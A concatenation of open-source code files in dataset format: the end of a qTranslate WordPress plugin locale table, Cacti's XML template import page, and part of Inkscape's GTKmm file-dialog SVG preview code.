$q_config['windows_locale']['kn'] = "Kannada";
$q_config['windows_locale']['ko'] = "Korean";
$q_config['windows_locale']['ks'] = "Kashmiri";
$q_config['windows_locale']['ku'] = "Kurdish";
$q_config['windows_locale']['kv'] = "Komi";
$q_config['windows_locale']['kw'] = "Cornish";
$q_config['windows_locale']['ky'] = "Kirghiz";
$q_config['windows_locale']['la'] = "Latin";
$q_config['windows_locale']['lb'] = "Letzeburgesch";
$q_config['windows_locale']['ln'] = "Lingala";
$q_config['windows_locale']['lo'] = "Lao";
$q_config['windows_locale']['lt'] = "Lithuanian";
$q_config['windows_locale']['lv'] = "Latvian";
$q_config['windows_locale']['mg'] = "Malagasy";
$q_config['windows_locale']['mh'] = "Marshall";
$q_config['windows_locale']['mi'] = "Maori";
$q_config['windows_locale']['mk'] = "Macedonian";
$q_config['windows_locale']['ml'] = "Malayalam";
$q_config['windows_locale']['mn'] = "Mongolian";
$q_config['windows_locale']['mo'] = "Moldavian";
$q_config['windows_locale']['mr'] = "Marathi";
$q_config['windows_locale']['ms'] = "Malay";
$q_config['windows_locale']['mt'] = "Maltese";
$q_config['windows_locale']['my'] = "Burmese";
$q_config['windows_locale']['na'] = "Nauru";
$q_config['windows_locale']['nb'] = "Norwegian Bokmal";
$q_config['windows_locale']['nd'] = "Ndebele, North";
$q_config['windows_locale']['ne'] = "Nepali";
$q_config['windows_locale']['ng'] = "Ndonga";
$q_config['windows_locale']['nl'] = "Dutch";
$q_config['windows_locale']['nn'] = "Norwegian Nynorsk";
$q_config['windows_locale']['no'] = "Norwegian";
$q_config['windows_locale']['nr'] = "Ndebele, South";
$q_config['windows_locale']['nv'] = "Navajo";
$q_config['windows_locale']['ny'] = "Chichewa; Nyanja";
$q_config['windows_locale']['oc'] = "Occitan (post 1500)";
$q_config['windows_locale']['om'] = "Oromo";
$q_config['windows_locale']['or'] = "Oriya";
$q_config['windows_locale']['os'] = "Ossetian; Ossetic";
$q_config['windows_locale']['pa'] = "Panjabi";
$q_config['windows_locale']['pi'] = "Pali";
$q_config['windows_locale']['pl'] = "Polish";
$q_config['windows_locale']['ps'] = "Pushto";
$q_config['windows_locale']['pt'] = "Portuguese";
$q_config['windows_locale']['qu'] = "Quechua";
$q_config['windows_locale']['rm'] = "Rhaeto-Romance";
$q_config['windows_locale']['rn'] = "Rundi";
$q_config['windows_locale']['ro'] = "Romanian";
$q_config['windows_locale']['ru'] = "Russian";
$q_config['windows_locale']['rw'] = "Kinyarwanda";
$q_config['windows_locale']['sa'] = "Sanskrit";
$q_config['windows_locale']['sc'] = "Sardinian";
$q_config['windows_locale']['sd'] = "Sindhi";
$q_config['windows_locale']['se'] = "Sami";
$q_config['windows_locale']['sg'] = "Sango";
$q_config['windows_locale']['si'] = "Sinhalese";
$q_config['windows_locale']['sk'] = "Slovak";
$q_config['windows_locale']['sl'] = "Slovenian";
$q_config['windows_locale']['sm'] = "Samoan";
$q_config['windows_locale']['sn'] = "Shona";
$q_config['windows_locale']['so'] = "Somali";
$q_config['windows_locale']['sq'] = "Albanian";
$q_config['windows_locale']['sr'] = "Serbian";
$q_config['windows_locale']['ss'] = "Swati";
$q_config['windows_locale']['st'] = "Sotho";
$q_config['windows_locale']['su'] = "Sundanese";
$q_config['windows_locale']['sv'] = "Swedish";
$q_config['windows_locale']['sw'] = "Swahili";
$q_config['windows_locale']['ta'] = "Tamil";
$q_config['windows_locale']['te'] = "Telugu";
$q_config['windows_locale']['tg'] = "Tajik";
$q_config['windows_locale']['th'] = "Thai";
$q_config['windows_locale']['ti'] = "Tigrinya";
$q_config['windows_locale']['tk'] = "Turkmen";
$q_config['windows_locale']['tl'] = "Tagalog";
$q_config['windows_locale']['tn'] = "Tswana";
$q_config['windows_locale']['to'] = "Tonga";
$q_config['windows_locale']['tr'] = "Turkish";
$q_config['windows_locale']['ts'] = "Tsonga";
$q_config['windows_locale']['tt'] = "Tatar";
$q_config['windows_locale']['tw'] = "Twi";
$q_config['windows_locale']['ug'] = "Uighur";
$q_config['windows_locale']['uk'] = "Ukrainian";
$q_config['windows_locale']['ur'] = "Urdu";
$q_config['windows_locale']['uz'] = "Uzbek";
$q_config['windows_locale']['vi'] = "Vietnamese";
$q_config['windows_locale']['vo'] = "Volapuk";
$q_config['windows_locale']['wo'] = "Wolof";
$q_config['windows_locale']['xh'] = "Xhosa";
$q_config['windows_locale']['yi'] = "Yiddish";
$q_config['windows_locale']['yo'] = "Yoruba";
$q_config['windows_locale']['za'] = "Zhuang";
$q_config['windows_locale']['zh'] = "Chinese";
$q_config['windows_locale']['zu'] = "Zulu";
// Load qTranslate
require_once(dirname(__FILE__)."/ppqtranslate_javascript.php");
require_once(dirname(__FILE__)."/ppqtranslate_utils.php");
require_once(dirname(__FILE__)."/ppqtranslate_core.php");
require_once(dirname(__FILE__)."/ppqtranslate_wphacks.php");
require_once(dirname(__FILE__)."/ppqtranslate_widget.php");
require_once(dirname(__FILE__)."/ppqtranslate_configuration.php");
// fix for Wordpress 4.0
add_filter('wp_editor_expand', 'ppqtrans_noEditorExpand');
function ppqtrans_noEditorExpand(){return false;}
// load qTranslate Services if available
if(file_exists(dirname(__FILE__)."/ppqtranslate_services.php"))
require_once(dirname(__FILE__)."/ppqtranslate_services.php");
// set hooks at the end
require_once(dirname(__FILE__)."/ppqtranslate_hooks.php");
?> | gpl-2.0 |
paulgevers/cacti | templates_import.php | 4982 | <?php
/*
+-------------------------------------------------------------------------+
| Copyright (C) 2004-2017 The Cacti Group |
| |
| This program is free software; you can redistribute it and/or |
| modify it under the terms of the GNU General Public License |
| as published by the Free Software Foundation; either version 2 |
| of the License, or (at your option) any later version. |
| |
| This program is distributed in the hope that it will be useful, |
| but WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| GNU General Public License for more details. |
+-------------------------------------------------------------------------+
| Cacti: The Complete RRDTool-based Graphing Solution |
+-------------------------------------------------------------------------+
| This code is designed, written, and maintained by the Cacti Group. See |
| about.php and/or the AUTHORS file for specific developer information. |
+-------------------------------------------------------------------------+
| http://www.cacti.net/ |
+-------------------------------------------------------------------------+
*/
include('./include/auth.php');
include_once('./lib/import.php');
include_once('./lib/utility.php');
/* set default action */
set_default_action();
switch (get_request_var('action')) {
case 'save':
form_save();
break;
default:
top_header();
import();
bottom_footer();
break;
}
/* --------------------------
The Save Function
-------------------------- */
function form_save() {
global $preview_only;
if (isset_request_var('save_component_import')) {
if (trim(get_nfilter_request_var('import_text') != '')) {
/* textbox input */
$xml_data = get_nfilter_request_var('import_text');
} elseif (($_FILES['import_file']['tmp_name'] != 'none') && ($_FILES['import_file']['tmp_name'] != '')) {
/* file upload */
$fp = fopen($_FILES['import_file']['tmp_name'],'r');
$xml_data = fread($fp,filesize($_FILES['import_file']['tmp_name']));
fclose($fp);
} else {
header('Location: templates_import.php'); exit;
}
if (get_filter_request_var('import_data_source_profile') == '0') {
$import_as_new = true;
$profile_id = db_fetch_cell('SELECT id FROM data_source_profiles ORDER BY `default` DESC LIMIT 1');
} else {
$import_as_new = false;
$profile_id = get_request_var('import_data_source_profile');
}
if (get_nfilter_request_var('preview_only') == 'on') {
$preview_only = true;
} else {
$preview_only = false;
}
if (isset_request_var('remove_orphans') && get_nfilter_request_var('remove_orphans') == 'on') {
$remove_orphans = true;
} else {
$remove_orphans = false;
}
/* obtain debug information if it's set */
$debug_data = import_xml_data($xml_data, $import_as_new, $profile_id, $remove_orphans);
if(sizeof($debug_data) > 0) {
$_SESSION['import_debug_info'] = $debug_data;
}
header('Location: templates_import.php?preview=' . $preview_only);
}
}
/* ---------------------------
Template Import Functions
--------------------------- */
function import() {
global $hash_type_names, $fields_template_import;
print "<form method='post' action='templates_import.php' enctype='multipart/form-data'>\n";
$display_hideme = false;
if ((isset($_SESSION['import_debug_info'])) && (is_array($_SESSION['import_debug_info']))) {
import_display_results($_SESSION['import_debug_info'], array(), true, get_filter_request_var('preview'));
kill_session_var('import_debug_info');
$display_hideme = true;
}
html_start_box(__('Import Templates'), '100%', true, '3', 'center', '');
$default_profile = db_fetch_cell('SELECT id FROM data_source_profiles WHERE `default`="on"');
if (empty($default_profile)) {
$default_profile = db_fetch_cell('SELECT id FROM data_source_profiles ORDER BY id LIMIT 1');
}
$fields_template_import['import_data_source_profile']['default'] = $default_profile;
draw_edit_form(
array(
'config' => array('no_form_tag' => true),
'fields' => $fields_template_import
)
);
html_end_box(true, true);
form_hidden_box('save_component_import','1','');
form_save_button('', 'import');
?>
<script type='text/javascript'>
$(function() {
<?php if ($display_hideme) { ?>
$('#templates_import1').find('.cactiTableButton > span').html('<a href="#" id="hideme"><?php print __('Hide');?></a>');
$('#hideme').click(function() {
$('#templates_import1').hide();
});
<?php } ?>
$('#remove_orphans').prop('checked', false).prop('disabled', true);
});
</script>
<?php
}
| gpl-2.0 |
danieljabailey/inkscape_experiments | src/ui/dialog/filedialogimpl-gtkmm.cpp | 60612 | /**
* @file
* Implementation of the file dialog interfaces defined in filedialogimpl.h.
*/
/* Authors:
* Bob Jamison
* Joel Holdsworth
* Bruno Dilly
* Other dudes from The Inkscape Organization
* Abhishek Sharma
*
* Copyright (C) 2004-2007 Bob Jamison
* Copyright (C) 2006 Johan Engelen <[email protected]>
* Copyright (C) 2007-2008 Joel Holdsworth
* Copyright (C) 2004-2007 The Inkscape Organization
*
* Released under GNU GPL, read the file 'COPYING' for more information
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <iostream>
#include "filedialogimpl-gtkmm.h"
#include "ui/dialog-events.h"
#include "ui/interface.h"
#include "io/sys.h"
#include "path-prefix.h"
#include "preferences.h"
#ifdef WITH_GNOME_VFS
#include <libgnomevfs/gnome-vfs.h>
#endif
#include <gtkmm/expander.h>
#include <gtkmm/stock.h>
#include <glibmm/convert.h>
#include <glibmm/fileutils.h>
#include <glibmm/i18n.h>
#include <glibmm/miscutils.h>
#include <glibmm/regex.h>
#include "document.h"
#include "extension/input.h"
#include "extension/output.h"
#include "extension/db.h"
#include "svg-view-widget.h"
#include "inkscape.h"
// Routines from file.cpp
#undef INK_DUMP_FILENAME_CONV
#ifdef INK_DUMP_FILENAME_CONV
void dump_str(const gchar *str, const gchar *prefix);
void dump_ustr(const Glib::ustring &ustr);
#endif
namespace Inkscape {
namespace UI {
namespace Dialog {
//########################################################################
//### U T I L I T Y
//########################################################################
void fileDialogExtensionToPattern(Glib::ustring &pattern, Glib::ustring &extension)
{
for (unsigned int i = 0; i < extension.length(); ++i) {
Glib::ustring::value_type ch = extension[i];
if (Glib::Unicode::isalpha(ch)) {
pattern += '[';
pattern += Glib::Unicode::toupper(ch);
pattern += Glib::Unicode::tolower(ch);
pattern += ']';
} else {
pattern += ch;
}
}
}
void findEntryWidgets(Gtk::Container *parent, std::vector<Gtk::Entry *> &result)
{
if (!parent) {
return;
}
std::vector<Gtk::Widget *> children = parent->get_children();
for (unsigned int i = 0; i < children.size(); ++i) {
Gtk::Widget *child = children[i];
GtkWidget *wid = child->gobj();
if (GTK_IS_ENTRY(wid))
result.push_back(dynamic_cast<Gtk::Entry *>(child));
else if (GTK_IS_CONTAINER(wid))
findEntryWidgets(dynamic_cast<Gtk::Container *>(child), result);
}
}
void findExpanderWidgets(Gtk::Container *parent, std::vector<Gtk::Expander *> &result)
{
if (!parent)
return;
std::vector<Gtk::Widget *> children = parent->get_children();
for (unsigned int i = 0; i < children.size(); ++i) {
Gtk::Widget *child = children[i];
GtkWidget *wid = child->gobj();
if (GTK_IS_EXPANDER(wid))
result.push_back(dynamic_cast<Gtk::Expander *>(child));
else if (GTK_IS_CONTAINER(wid))
findExpanderWidgets(dynamic_cast<Gtk::Container *>(child), result);
}
}
/*#########################################################################
### SVG Preview Widget
#########################################################################*/
bool SVGPreview::setDocument(SPDocument *doc)
{
if (document)
document->doUnref();
doc->doRef();
document = doc;
// This should remove it from the box, and free resources
if (viewerGtk)
Gtk::Container::remove(*viewerGtk);
viewerGtk = Glib::wrap(sp_svg_view_widget_new(doc));
Gtk::VBox *vbox = Glib::wrap(gobj());
vbox->pack_start(*viewerGtk, TRUE, TRUE, 0);
viewerGtk->show();
return true;
}
bool SVGPreview::setFileName(Glib::ustring &theFileName)
{
Glib::ustring fileName = theFileName;
fileName = Glib::filename_to_utf8(fileName);
/**
* I don't know why passing false to keepalive is bad. But it
* prevents the display of an svg with a non-ascii filename
*/
SPDocument *doc = SPDocument::createNewDoc(fileName.c_str(), true);
if (!doc) {
g_warning("SVGView: error loading document '%s'\n", fileName.c_str());
return false;
}
setDocument(doc);
doc->doUnref();
return true;
}
bool SVGPreview::setFromMem(char const *xmlBuffer)
{
if (!xmlBuffer)
return false;
gint len = (gint)strlen(xmlBuffer);
SPDocument *doc = SPDocument::createNewDocFromMem(xmlBuffer, len, 0);
if (!doc) {
g_warning("SVGView: error loading buffer '%s'\n", xmlBuffer);
return false;
}
setDocument(doc);
doc->doUnref();
Inkscape::GC::request_early_collection();
return true;
}
void SVGPreview::showImage(Glib::ustring &theFileName)
{
Glib::ustring fileName = theFileName;
// Let's get real width and height from SVG file. These are template
// files so we assume they are well formed.
// std::cout << "SVGPreview::showImage: " << theFileName << std::endl;
std::string width;
std::string height;
/*#####################################
# LET'S HAVE SOME FUN WITH SVG!
# Instead of just loading an image, why
# don't we make a lovely little svg and
# display it nicely?
#####################################*/
// Arbitrary size of svg doc -- rather 'portrait' shaped
gint previewWidth = 400;
gint previewHeight = 600;
// Get some image info. Smart pointer does not need to be deleted
Glib::RefPtr<Gdk::Pixbuf> img(NULL);
try
{
img = Gdk::Pixbuf::create_from_file(fileName);
}
catch (const Glib::FileError &e)
{
g_message("caught Glib::FileError in SVGPreview::showImage");
return;
}
catch (const Gdk::PixbufError &e)
{
g_message("Gdk::PixbufError in SVGPreview::showImage");
return;
}
catch (...)
{
g_message("Caught ... in SVGPreview::showImage");
return;
}
gint imgWidth = img->get_width();
gint imgHeight = img->get_height();
Glib::ustring svg = ".svg";
if (hasSuffix(fileName, svg)) {
std::ifstream input(theFileName.c_str());
if( !input ) {
std::cerr << "SVGPreview::showImage: Failed to open file: " << theFileName << std::endl;
} else {
std::string token;
Glib::MatchInfo match_info;
Glib::RefPtr<Glib::Regex> regex1 = Glib::Regex::create("width=\"(.*)\"");
Glib::RefPtr<Glib::Regex> regex2 = Glib::Regex::create("height=\"(.*)\"");
while( !input.eof() && (height.empty() || width.empty()) ) {
input >> token;
// std::cout << "|" << token << "|" << std::endl;
if (regex1->match(token, match_info)) {
width = match_info.fetch(1).raw();
}
if (regex2->match(token, match_info)) {
height = match_info.fetch(1).raw();
}
}
}
}
// TODO: replace int to string conversion with std::to_string when fully C++11 compliant
if (height.empty() || width.empty()) {
std::ostringstream s_width;
std::ostringstream s_height;
s_width << imgWidth;
s_height << imgHeight;
width = s_width.str();
height = s_height.str();
}
// Find the minimum scale to fit the image inside the preview area
double scaleFactorX = (0.9 * (double)previewWidth) / ((double)imgWidth);
double scaleFactorY = (0.9 * (double)previewHeight) / ((double)imgHeight);
double scaleFactor = scaleFactorX;
if (scaleFactorX > scaleFactorY)
scaleFactor = scaleFactorY;
// Now get the resized values
gint scaledImgWidth = (int)(scaleFactor * (double)imgWidth);
gint scaledImgHeight = (int)(scaleFactor * (double)imgHeight);
// center the image on the area
gint imgX = (previewWidth - scaledImgWidth) / 2;
gint imgY = (previewHeight - scaledImgHeight) / 2;
// wrap a rectangle around the image
gint rectX = imgX - 1;
gint rectY = imgY - 1;
gint rectWidth = scaledImgWidth + 2;
gint rectHeight = scaledImgHeight + 2;
// Our template. Modify to taste
gchar const *xformat = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<svg\n"
"xmlns=\"http://www.w3.org/2000/svg\"\n"
"xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n"
"width=\"%d\" height=\"%d\">\n" //# VALUES HERE
"<rect\n"
" style=\"fill:#eeeeee;stroke:none\"\n"
" x=\"-100\" y=\"-100\" width=\"4000\" height=\"4000\"/>\n"
"<image x=\"%d\" y=\"%d\" width=\"%d\" height=\"%d\"\n"
"xlink:href=\"%s\"/>\n"
"<rect\n"
" style=\"fill:none;"
" stroke:#000000;stroke-width:1.0;"
" stroke-linejoin:miter;stroke-opacity:1.0000000;"
" stroke-miterlimit:4.0000000;stroke-dasharray:none\"\n"
" x=\"%d\" y=\"%d\" width=\"%d\" height=\"%d\"/>\n"
"<text\n"
" style=\"font-size:24.000000;font-style:normal;font-weight:normal;"
" fill:#000000;fill-opacity:1.0000000;stroke:none;"
" font-family:Sans\"\n"
" x=\"10\" y=\"26\">%s x %s</text>\n" //# VALUES HERE
"</svg>\n\n";
// if (!Glib::get_charset()) //If we are not utf8
fileName = Glib::filename_to_utf8(fileName);
// Fill in the template
/* FIXME: Do proper XML quoting for fileName. */
gchar *xmlBuffer =
g_strdup_printf(xformat, previewWidth, previewHeight, imgX, imgY, scaledImgWidth, scaledImgHeight,
fileName.c_str(), rectX, rectY, rectWidth, rectHeight, width.c_str(), height.c_str() );
// g_message("%s\n", xmlBuffer);
// now show it!
setFromMem(xmlBuffer);
g_free(xmlBuffer);
}
void SVGPreview::showNoPreview()
{
// Are we already showing it?
if (showingNoPreview)
return;
// Arbitrary size of svg doc -- rather 'portrait' shaped
gint previewWidth = 300;
gint previewHeight = 600;
// Our template. Modify to taste
gchar const *xformat =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<svg\n"
"xmlns=\"http://www.w3.org/2000/svg\"\n"
"xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n"
"width=\"%d\" height=\"%d\">\n" //# VALUES HERE
"<g transform=\"translate(-190,24.27184)\" style=\"opacity:0.12\">\n"
"<path\n"
"style=\"font-size:12;fill:#ffffff;fill-rule:evenodd;stroke:#000000;stroke-width:0.936193pt\"\n"
"d=\"M 397.64309 320.25301 L 280.39197 282.517 L 250.74227 124.83447 L 345.08225 "
"29.146783 L 393.59996 46.667064 L 483.89679 135.61619 L 397.64309 320.25301 z \"\n"
"id=\"whiteSpace\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 476.95792 339.17168 C 495.78197 342.93607 499.54842 356.11361 495.78197 359.87802 "
"C 492.01856 363.6434 482.6065 367.40781 475.07663 361.76014 C 467.54478 "
"356.11361 467.54478 342.93607 476.95792 339.17168 z \"\n"
"id=\"droplet01\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 286.46194 340.42914 C 284.6277 340.91835 269.30405 327.71337 257.16909 333.8338 "
"C 245.03722 339.95336 236.89276 353.65666 248.22676 359.27982 C 259.56184 364.90298 "
"267.66433 358.41867 277.60113 351.44119 C 287.53903 344.46477 "
"287.18046 343.1206 286.46194 340.42914 z \"\n"
"id=\"droplet02\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 510.35756 306.92856 C 520.59494 304.36879 544.24333 306.92856 540.47688 321.98634 "
"C 536.71354 337.04806 504.71297 331.39827 484.00371 323.87156 C 482.12141 "
"308.81083 505.53237 308.13423 510.35756 306.92856 z \"\n"
"id=\"droplet03\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 359.2403 21.362537 C 347.92693 21.362537 336.6347 25.683095 327.96556 34.35223 "
"L 173.87387 188.41466 C 165.37697 196.9114 161.1116 207.95813 160.94269 219.04577 "
"L 160.88418 219.04577 C 160.88418 219.08524 160.94076 219.12322 160.94269 219.16279 "
"C 160.94033 219.34888 160.88418 219.53256 160.88418 219.71865 L 161.14748 219.71865 "
"C 164.0966 230.93917 240.29699 245.24198 248.79866 253.74346 C 261.63771 266.58263 "
"199.5652 276.01151 212.4041 288.85074 C 225.24316 301.68979 289.99433 313.6933 302.8346 "
"326.53254 C 315.67368 339.37161 276.5961 353.04289 289.43532 365.88196 C 302.27439 "
"378.72118 345.40201 362.67257 337.5908 396.16198 C 354.92909 413.50026 391.10302 "
"405.2208 415.32417 387.88252 C 428.16323 375.04345 390.6948 376.17577 403.53397 "
"363.33668 C 416.37304 350.49745 448.78128 350.4282 476.08902 319.71589 C 465.09739 "
"302.62116 429.10801 295.34136 441.94719 282.50217 C 454.78625 269.66311 479.74708 "
"276.18423 533.60644 251.72479 C 559.89837 239.78398 557.72636 230.71459 557.62567 "
"219.71865 C 557.62356 219.48727 557.62567 219.27892 557.62567 219.04577 L 557.56716 "
"219.04577 C 557.3983 207.95812 553.10345 196.9114 544.60673 188.41466 L 390.54428 "
"34.35223 C 381.87515 25.683095 370.55366 21.362537 359.2403 21.362537 z M 357.92378 "
"41.402939 C 362.95327 41.533963 367.01541 45.368018 374.98006 50.530832 L 447.76915 "
"104.50827 C 448.56596 105.02498 449.32484 105.564 450.02187 106.11735 C 450.7189 106.67062 "
"451.3556 107.25745 451.95277 107.84347 C 452.54997 108.42842 453.09281 109.01553 453.59111 "
"109.62808 C 454.08837 110.24052 454.53956 110.86661 454.93688 111.50048 C 455.33532 112.13538 "
"455.69164 112.78029 455.9901 113.43137 C 456.28877 114.08363 456.52291 114.75639 456.7215 "
"115.42078 C 456.92126 116.08419 457.08982 116.73973 457.18961 117.41019 C 457.28949 "
"118.08184 457.33588 118.75535 457.33588 119.42886 L 414.21245 98.598549 L 409.9118 "
"131.16055 L 386.18512 120.04324 L 349.55654 144.50131 L 335.54288 96.1703 L 317.4919 "
"138.4453 L 267.08369 143.47735 L 267.63956 121.03795 C 267.63956 115.64823 296.69685 "
"77.915899 314.39075 68.932902 L 346.77721 45.674327 C 351.55594 42.576634 354.90608 "
"41.324327 357.92378 41.402939 z M 290.92738 261.61333 C 313.87149 267.56365 339.40299 "
"275.37038 359.88393 275.50997 L 360.76161 284.72563 C 343.2235 282.91785 306.11346 "
"274.45012 297.36372 269.98057 L 290.92738 261.61333 z \"\n"
"id=\"mountainDroplet\" />\n"
"</g> <g transform=\"translate(-20,0)\">\n"
"<text xml:space=\"preserve\"\n"
"style=\"font-size:32.000000;font-style:normal;font-variant:normal;font-weight:bold;"
"font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;"
"stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
"font-family:Sans;text-anchor:middle;writing-mode:lr\"\n"
"x=\"190\" y=\"240\">%s</text></g>\n" //# VALUE HERE
"</svg>\n\n";
// Fill in the template
gchar *xmlBuffer = g_strdup_printf(xformat, previewWidth, previewHeight, _("No preview"));
// g_message("%s\n", xmlBuffer);
// now show it!
setFromMem(xmlBuffer);
g_free(xmlBuffer);
showingNoPreview = true;
}
/**
* Inform the user that the svg file is too large to be displayed.
* This does not check for sizes of embedded images (yet)
*/
void SVGPreview::showTooLarge(long fileLength)
{
// Arbitrary size of svg doc -- rather 'portrait' shaped
gint previewWidth = 300;
gint previewHeight = 600;
// Our template. Modify to taste
gchar const *xformat =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<svg\n"
"xmlns=\"http://www.w3.org/2000/svg\"\n"
"xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n"
"width=\"%d\" height=\"%d\">\n" //# VALUES HERE
"<g transform=\"translate(-170,24.27184)\" style=\"opacity:0.12\">\n"
"<path\n"
"style=\"font-size:12;fill:#ffffff;fill-rule:evenodd;stroke:#000000;stroke-width:0.936193pt\"\n"
"d=\"M 397.64309 320.25301 L 280.39197 282.517 L 250.74227 124.83447 L 345.08225 "
"29.146783 L 393.59996 46.667064 L 483.89679 135.61619 L 397.64309 320.25301 z \"\n"
"id=\"whiteSpace\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 476.95792 339.17168 C 495.78197 342.93607 499.54842 356.11361 495.78197 359.87802 "
"C 492.01856 363.6434 482.6065 367.40781 475.07663 361.76014 C 467.54478 "
"356.11361 467.54478 342.93607 476.95792 339.17168 z \"\n"
"id=\"droplet01\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 286.46194 340.42914 C 284.6277 340.91835 269.30405 327.71337 257.16909 333.8338 "
"C 245.03722 339.95336 236.89276 353.65666 248.22676 359.27982 C 259.56184 364.90298 "
"267.66433 358.41867 277.60113 351.44119 C 287.53903 344.46477 "
"287.18046 343.1206 286.46194 340.42914 z \"\n"
"id=\"droplet02\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 510.35756 306.92856 C 520.59494 304.36879 544.24333 306.92856 540.47688 321.98634 "
"C 536.71354 337.04806 504.71297 331.39827 484.00371 323.87156 C 482.12141 "
"308.81083 505.53237 308.13423 510.35756 306.92856 z \"\n"
"id=\"droplet03\" />\n"
"<path\n"
"style=\"font-size:12;fill-rule:evenodd;stroke-width:1pt;fill:#000000;fill-opacity:1\"\n"
"d=\"M 359.2403 21.362537 C 347.92693 21.362537 336.6347 25.683095 327.96556 34.35223 "
"L 173.87387 188.41466 C 165.37697 196.9114 161.1116 207.95813 160.94269 219.04577 "
"L 160.88418 219.04577 C 160.88418 219.08524 160.94076 219.12322 160.94269 219.16279 "
"C 160.94033 219.34888 160.88418 219.53256 160.88418 219.71865 L 161.14748 219.71865 "
"C 164.0966 230.93917 240.29699 245.24198 248.79866 253.74346 C 261.63771 266.58263 "
"199.5652 276.01151 212.4041 288.85074 C 225.24316 301.68979 289.99433 313.6933 302.8346 "
"326.53254 C 315.67368 339.37161 276.5961 353.04289 289.43532 365.88196 C 302.27439 "
"378.72118 345.40201 362.67257 337.5908 396.16198 C 354.92909 413.50026 391.10302 "
"405.2208 415.32417 387.88252 C 428.16323 375.04345 390.6948 376.17577 403.53397 "
"363.33668 C 416.37304 350.49745 448.78128 350.4282 476.08902 319.71589 C 465.09739 "
"302.62116 429.10801 295.34136 441.94719 282.50217 C 454.78625 269.66311 479.74708 "
"276.18423 533.60644 251.72479 C 559.89837 239.78398 557.72636 230.71459 557.62567 "
"219.71865 C 557.62356 219.48727 557.62567 219.27892 557.62567 219.04577 L 557.56716 "
"219.04577 C 557.3983 207.95812 553.10345 196.9114 544.60673 188.41466 L 390.54428 "
"34.35223 C 381.87515 25.683095 370.55366 21.362537 359.2403 21.362537 z M 357.92378 "
"41.402939 C 362.95327 41.533963 367.01541 45.368018 374.98006 50.530832 L 447.76915 "
"104.50827 C 448.56596 105.02498 449.32484 105.564 450.02187 106.11735 C 450.7189 106.67062 "
"451.3556 107.25745 451.95277 107.84347 C 452.54997 108.42842 453.09281 109.01553 453.59111 "
"109.62808 C 454.08837 110.24052 454.53956 110.86661 454.93688 111.50048 C 455.33532 112.13538 "
"455.69164 112.78029 455.9901 113.43137 C 456.28877 114.08363 456.52291 114.75639 456.7215 "
"115.42078 C 456.92126 116.08419 457.08982 116.73973 457.18961 117.41019 C 457.28949 "
"118.08184 457.33588 118.75535 457.33588 119.42886 L 414.21245 98.598549 L 409.9118 "
"131.16055 L 386.18512 120.04324 L 349.55654 144.50131 L 335.54288 96.1703 L 317.4919 "
"138.4453 L 267.08369 143.47735 L 267.63956 121.03795 C 267.63956 115.64823 296.69685 "
"77.915899 314.39075 68.932902 L 346.77721 45.674327 C 351.55594 42.576634 354.90608 "
"41.324327 357.92378 41.402939 z M 290.92738 261.61333 C 313.87149 267.56365 339.40299 "
"275.37038 359.88393 275.50997 L 360.76161 284.72563 C 343.2235 282.91785 306.11346 "
"274.45012 297.36372 269.98057 L 290.92738 261.61333 z \"\n"
"id=\"mountainDroplet\" />\n"
"</g>\n"
"<text xml:space=\"preserve\"\n"
"style=\"font-size:32.000000;font-style:normal;font-variant:normal;font-weight:bold;"
"font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;"
"stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
"font-family:Sans;text-anchor:middle;writing-mode:lr\"\n"
"x=\"170\" y=\"215\">%5.1f MB</text>\n" //# VALUE HERE
"<text xml:space=\"preserve\"\n"
"style=\"font-size:24.000000;font-style:normal;font-variant:normal;font-weight:bold;"
"font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;"
"stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
"font-family:Sans;text-anchor:middle;writing-mode:lr\"\n"
"x=\"180\" y=\"245\">%s</text>\n" //# VALUE HERE
"</svg>\n\n";
// Fill in the template
double floatFileLength = ((double)fileLength) / 1048576.0;
// printf("%ld %f\n", fileLength, floatFileLength);
gchar *xmlBuffer =
g_strdup_printf(xformat, previewWidth, previewHeight, floatFileLength, _("too large for preview"));
// g_message("%s\n", xmlBuffer);
// now show it!
setFromMem(xmlBuffer);
g_free(xmlBuffer);
}
bool SVGPreview::set(Glib::ustring &fileName, int dialogType)
{
if (!Glib::file_test(fileName, Glib::FILE_TEST_EXISTS)) {
showNoPreview();
return false;
}
if (Glib::file_test(fileName, Glib::FILE_TEST_IS_DIR)) {
showNoPreview();
return false;
}
if (Glib::file_test(fileName, Glib::FILE_TEST_IS_REGULAR)) {
Glib::ustring fileNameUtf8 = Glib::filename_to_utf8(fileName);
gchar *fName = const_cast<gchar *>(
fileNameUtf8.c_str()); // const-cast probably not necessary? (not necessary on Windows version of stat())
struct stat info;
